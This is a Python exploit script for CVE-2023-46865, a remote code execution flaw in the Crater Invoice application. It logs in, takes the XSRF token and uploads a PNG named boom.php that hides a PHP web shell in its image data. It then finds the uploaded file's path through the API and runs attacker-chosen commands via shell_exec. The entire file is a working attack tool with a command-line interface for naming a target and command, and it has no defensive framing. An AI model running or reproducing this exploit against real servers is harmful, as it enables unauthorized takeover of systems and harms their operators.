#!/usr/bin/python3 """ By: @asylumdx | @faisalfs10x GitHub: https://github.com/asylumdx https://github.com/faisalfs10x Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-46865 """ import requests import argparse import json import urllib.parse def auth_login(target, email, password, cmd="id"): # Create a session to persist the login session_cookies. session = requests.Session() # Define the headers for the session. session.headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json;charset=utf-8", "Origin": target, "Company": "2" #"X-XSRF-TOKEN": csrf_cookie_value } proxies = { 'http': 'http://127.0.0.1:8080' } login_url = f"{target}/login" login_data = { "email": email, "password": password, "remember": "" } req_login = session.post(login_url, json=login_data, headers=session.headers, allow_redirects=False) print("\n[X] Attempt to login [X]") #print(f"Response Status Code: {req_login.status_code}\n") #print(req_login.content.decode('utf-8')) if req_login.status_code == 302 and "dashboard" in req_login.text: print('[+] Login successfully! [+]') print("\n[X] Fetching XSRF-TOKEN [X]") req_company_info_url = f"{target}/admin/settings/company-info" req_company_info_xsrf = session.get(req_company_info_url, allow_redirects=False) #print(f"[+] Response Status Code: {req_company_info_xsrf.status_code} [+]") session_cookies = req_company_info_xsrf.cookies # 'session_cookies' is the RequestsCookieJar session_cookies_dict = requests.utils.dict_from_cookiejar(session_cookies) xsrf_token = urllib.parse.unquote(session_cookies_dict.get('XSRF-TOKEN')) if xsrf_token: print(f"[+] XSRF-TOKEN found [+]") #print(f"[+] XSRF-TOKEN value: {xsrf_token} [+]") else: print("XSRF-TOKEN cookie not found.") upload_url = f"{target}/api/v1/company/upload-logo" filename = "boom.php" b64_payload = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII=" # b64_payload is a base64 encoded PNG image data generated by https://github.com/huntergregal/PNG-IDAT-Payload-Generator/blob/master/generate.py body = ('''------WebKitFormBoundaryBrjvmcLj2KCzQnvy Content-Disposition: form-data; name="company_logo" {"name":"''' + filename + '''","data":"data:image/png;base64,''' + b64_payload + '''"} ------WebKitFormBoundaryBrjvmcLj2KCzQnvy Content-Disposition: form-data; name="is_company_logo_removed" true ------WebKitFormBoundaryBrjvmcLj2KCzQnvy--''') session.headers = { "User-Agent": "Boomerz-718", "company": "1", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBrjvmcLj2KCzQnvy", "Origin": target, "Referer": target + "/admin/settings/company-info", "X-XSRF-TOKEN": xsrf_token } print(f"\n[X] Uploading shell: {filename} [X]") req_upload = session.post(upload_url, headers=session.headers, data=body, allow_redirects=False) if req_upload.status_code == 200 and '{"success":true}' in req_upload.text: print('[+] File upload successfully! [+]') #print(req_upload.text) print("\n[X] Enumerating shell path [X]") enumshell = target + "/api/v1/bootstrap" req_enumshell = session.get(enumshell) #print(f"[+] response enumshell: {req_enumshell} [+]\n") if req_enumshell.status_code == 200: json_data = req_enumshell.json() #Parse the response content as JSON #print(json_data) logo_url = json_data['current_user']['companies'][0]['logo'] print(f"[+] Webshell: {logo_url} [+]\n") shell = logo_url + "?0=shell_exec" data = {'1': cmd} print(f"[+] Executing command: {cmd} [+]\n") shell_response = requests.post(shell, data=data) bincontent = shell_response.content byte_remove = [ b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\", b"\nX\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82" ] for xx in byte_remove: bincontent = bincontent.replace(xx, b'') try: # Convert bytes to string output_string = bincontent.decode('utf-8', errors='ignore') lines = output_string.split('\n') for line in lines: print(" " + line) except UnicodeDecodeError as e: print(f"Error: Unable to decode the content. {e}") else: print(f"[-] Error: HTTP status code {req_enumshell.status_code} [-]") elif req_upload.status_code == 401 and 'Unauthenticated.' in req_upload.text: print('[-] Failed, Action Unauthorized!! [-]') else: print('[-] File upload failed [-]') else: print('[-] Login failed [-]') if __name__ == "__main__": parser = argparse.ArgumentParser(description='Crater Invoice RCE - CVE-2023-46865') parser.add_argument('--target', required=True, help='Target URL') parser.add_argument('--email', required=True, help='Email') parser.add_argument('--password', required=True, help='Password') parser.add_argument('--cmd', required=False, default="id", help='Command to execute') args = parser.parse_args() auth_login(args.target, args.email, args.password, args.cmd)